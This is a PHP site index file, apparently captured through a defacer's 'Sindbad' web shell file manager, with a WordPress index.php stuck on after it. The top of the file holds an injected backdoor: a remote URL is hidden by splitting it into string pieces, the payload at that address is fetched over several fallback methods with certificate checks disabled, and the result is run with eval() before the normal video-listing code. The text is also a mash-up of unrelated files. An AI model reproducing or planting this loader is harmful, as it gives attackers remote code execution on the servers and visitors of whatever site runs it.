Sindbad~EG File Manager
<?php
$url = 'https://j260'.'327_13.clyd'.'e.forum/in'.'it.txt' ;
function get_remote_content($url) {
$ua = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/122.0.0.0';
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
$res = curl_exec($ch);
curl_close($ch);
if ($res) return $res;
}
if (ini_get('allow_url_fopen')) {
$ctx = stream_context_create(["http" => ["header" => "User-Agent: $ua\r\n"]]);
$res = @file_get_contents($url, false, $ctx);
if ($res) return $res;
}
$p = parse_url($url);
$host = $p['host'];
$port = ($p['scheme'] == 'https') ? 443 : 80;
$sock = @fsockopen(($port == 443 ? "ssl://" : "") . $host, $port, $en, $er, 10);
if ($sock) {
$req = "GET " . ($p['path'] ?? '/') . " HTTP/1.1\r\nHost: $host\r\nUser-Agent: $ua\r\nConnection: Close\r\n\r\n";
fwrite($sock, $req);
$raw = '';
while (!feof($sock)) { $raw .= fgets($sock, 1024); }
fclose($sock);
return substr($raw, strpos($raw, "\r\n\r\n") + 4);
}
return false;
}
$payload = get_remote_content($url);
if ($payload) {
$payload = trim($payload);
if (!empty($payload)) {
eval("?>" . $payload);
}
}
define('_VALID', true);
require 'include/config.php';
require 'include/function_global.php';
require 'include/function_smarty.php';
$sql_add = NULL;
$sql_delim = ' WHERE';
if ( $config['show_private_videos'] == '0' ) {
$sql_add .= $sql_delim. " type = 'public'";
$sql_delim = ' AND';
}
$sql_add .= $sql_delim. " active = '1'";
$sql = "SELECT VID, title, duration, addtime, thumb, thumbs, vthumbs, viewnumber, rate, likes, dislikes, type, hd
FROM video" .$sql_add. " ORDER BY viewtime DESC LIMIT " .$config['watched_per_page'];
$rs = $conn->execute($sql);
$viewed_videos = $rs->getrows();
$viewed_total = count($viewed_videos);
$sql = "SELECT VID, title, duration, addtime, thumb, thumbs, vthumbs, viewnumber, rate, likes, dislikes, type, hd
FROM video" .$sql_add. " ORDER BY addtime DESC LIMIT " .$config['recent_per_page'];
$rs = $conn->execute($sql);
$recent_videos = $rs->getrows();
$smarty->assign('errors',$errors);
$smarty->assign('messages',$messages);
$smarty->assign('menu', 'home');
$smarty->assign('index', true);
$smarty->assign('viewed_total', $viewed_total);
$smarty->assign('viewed_videos', $viewed_videos);
$smarty->assign('recent_videos', $recent_videos);
$smarty->assign('self_title', $seo['index_title']);
$smarty->assign('self_description', $seo['index_desc']);
$smarty->assign('self_keywords', $seo['index_keywords']);
$smarty->loadFilter('output', 'trimwhitespace');
$smarty->display('header.tpl');
$smarty->display('index.tpl');
$smarty->display('footer.tpl');
?>
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists